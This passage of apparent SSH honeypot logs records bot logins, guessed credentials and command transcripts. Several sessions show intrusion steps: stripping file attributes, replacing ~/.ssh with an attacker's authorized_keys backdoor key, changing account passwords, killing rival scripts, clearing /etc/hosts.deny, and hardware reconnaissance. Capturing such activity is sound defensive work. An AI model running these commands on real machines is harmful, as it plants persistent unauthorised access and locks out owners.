$4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:20:10.099360+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:20:10.869809+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:20:12.003060+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:20:12.776670+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:20:13.731889+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:20:14.503167+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:20:15.377875+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:20:16.149801+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:20:16.530226+00:00","kind":"output","latency_ms":null,"data":" 12:20:16 up 7 days, 9:10, 0 user, load average: 0.25, 0.32, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:20:17.306172+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:20:18.147961+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:20:18.917174+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:20:19.286219+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:20:20.060799+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:20:20.447148+00:00","kind":"output","latency_ms":null,"data":"top - 12:20:20 up 7 days, 9:10, 0 user, load average: 0.25, 0.32, 0.28\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:20:21.215840+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:20:21.492336+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:20:22.285731+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:20:23.085320+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:20:23.858429+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:20:24.200643+00:00","kind":"output","latency_ms":null,"data":"jose"},{"seq":29,"at":"2026-08-27T12:20:24.970053+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:20:25.938210+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:20:26.708327+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:20:28.228611+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jose","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"462bcad2-96e7-4009-8fcf-c480a2a1195a","name":"scarlet-umber-redshank","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":53734,"username":"jose","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:20:04.634787+00:00","ended_at":"2026-08-27T12:20:06.896499+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"jose","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"20f77019-7730-417a-9ac6-4b5c555e2111","name":"northern-reedy-albatross","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":53730,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:20:00.954638+00:00","ended_at":"2026-08-27T12:20:02.472103+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5b8744b2-01e2-49be-bece-36ec39409a93","name":"brisk-blithe-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":40896,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:44.225424+00:00","ended_at":"2026-08-27T12:19:45.643083+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:19:26.887194+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:19:27.213830+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:19:30.343880+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:19:30.966240+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:19:31.289050+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zPXjAp3fCQxG\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:19:31.620604+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:19:31.944188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:19:32.379874+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:19:32.710336+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:19:33.705319+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:19:34.035499+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:19:35.254248+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:19:35.584710+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:19:36.011542+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:19:36.338281+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:19:37.085229+00:00","kind":"output","latency_ms":null,"data":" 12:19:37 up 7 days, 9:09, 0 user, load average: 0.25, 0.29, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:19:37.410195+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:19:37.735807+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:19:38.062544+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:19:38.897968+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:19:39.224419+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:19:39.522340+00:00","kind":"output","latency_ms":null,"data":"top - 12:19:39 up 7 days, 9:09, 0 user, load average: 0.25, 0.29, 0.27\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:19:39.850698+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:19:40.335870+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:19:40.664361+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:19:41.463387+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:19:41.790061+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:19:42.165451+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:19:42.497858+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:19:43.892889+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:19:44.226230+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:19:45.544825+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ASDzxc123","method":"password","accepted":true,"tier":"other"}]} {"id":"009b68bb-6200-493c-aa95-ab4cd8eeb9be","name":"northern-foggy-yak","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":58604,"username":"sniper","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":271,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:19:43.363501+00:00","ended_at":"2026-08-27T12:19:43.504396+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:19:41.189413+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:19:41.733346+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:19:41.999467+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:19:41.999888+00:00","kind":"output","latency_ms":null,"data":" 12:19:41 up 7 days, 9:09, 0 user, load average: 0.34, 0.31, 0.33"},{"seq":5,"at":"2026-08-27T12:19:42.264093+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:19:42.269050+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:19:42.541816+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:19:42.542549+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:19:42.819038+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:19:42.819509+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:19:43.092107+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:19:43.093389+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:19:43.364081+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:19:43.364908+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"sniper","password":"sniper","method":"password","accepted":true,"tier":"other"}]} {"id":"7e0a0c12-8ed0-4750-a081-597d1a4fbf65","name":"muted-mighty-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":45496,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":260,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:35.417255+00:00","ended_at":"2026-08-27T12:19:36.334650+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:19:10.062666+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:19:10.322946+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:19:14.030034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:19:15.369818+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:19:15.627995+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Test123\\ncsiRcZNTNGkk\\ncsiRcZNTNGkk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:19:15.894777+00:00","kind":"input","latency_ms":null,"data":"echo \"Test123\\ncsiRcZNTNGkk\\ncsiRcZNTNGkk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:19:16.146263+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:19:17.024434+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:19:17.648202+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:19:18.161097+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:19:18.422293+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:19:20.247199+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:19:20.508432+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:19:22.476692+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:19:22.742324+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:19:24.868801+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:19:25.129058+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:19:27.259895+00:00","kind":"output","latency_ms":null,"data":" 12:19:27 up 7 days, 9:09, 0 user, load average: 0.04, 0.05, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:19:27.520658+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:19:29.449709+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:19:29.710902+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:19:30.419016+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:19:30.682083+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:19:31.182782+00:00","kind":"output","latency_ms":null,"data":"top - 12:19:31 up 7 days, 9:09, 0 user, load average: 0.04, 0.05, 0.03\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:19:31.442652+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:19:32.138793+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:19:32.399531+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:19:33.046911+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:19:33.308728+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:19:34.000763+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":31,"at":"2026-08-27T12:19:34.258524+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:19:35.157005+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:19:35.418009+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:19:36.259171+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"Test123","method":"password","accepted":true,"tier":"other"}]} {"id":"b971e5de-b870-4572-a10d-ec65612c5d25","name":"placid-curious-quoll","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":59032,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:19:29.542825+00:00","ended_at":"2026-08-27T12:19:30.247531+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6e476f28-5a02-45b9-8651-c3b9a7b4af7c","name":"frank-valiant-tapir","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":40908,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:19:27.963185+00:00","ended_at":"2026-08-27T12:19:28.850652+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d7b29fd9-dc80-451c-bffb-5eb8a0edf3fe","name":"tranquil-orderly-curlew","protocol":"ssh","channel_kind":null,"src_ip":"39.97.53.147","src_port":49712,"username":"deploy","client_version":"SSH-2.0-Go","auth_attempts":0,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:19:24.202885+00:00","ended_at":"2026-08-27T12:20:23.408969+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"47742edf-265f-4760-ac34-b6cd21ca284f","name":"wooded-crimson-linnet","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":45502,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:19:12.784539+00:00","ended_at":"2026-08-27T12:19:13.954317+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"40ef9361-14d1-487d-b3fc-21af405e6416","name":"burly-steady-wolverine","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":45498,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:19:10.918543+00:00","ended_at":"2026-08-27T12:19:12.256811+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2adc65a9-9a2a-48c2-951c-7a9693314980","name":"early-flinty-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":49492,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:01.318517+00:00","ended_at":"2026-08-27T12:19:03.298001+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T12:18:43.259138+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:18:43.564014+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:18:47.367926+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:18:47.908189+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:18:48.209564+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pivpn1234\\nv8Fi2e7MprBt\\nv8Fi2e7MprBt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:18:48.505753+00:00","kind":"input","latency_ms":null,"data":"echo \"pivpn1234\\nv8Fi2e7MprBt\\nv8Fi2e7MprBt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:18:48.807765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:18:49.610181+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:18:49.909626+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:18:51.054645+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:18:51.356106+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:18:52.450274+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:18:52.745579+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:18:53.356022+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:18:53.653814+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:18:54.305507+00:00","kind":"output","latency_ms":null,"data":" 12:18:54 up 7 days, 9:09, 0 user, load average: 0.08, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:18:54.607821+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:18:55.156384+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:18:55.453171+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 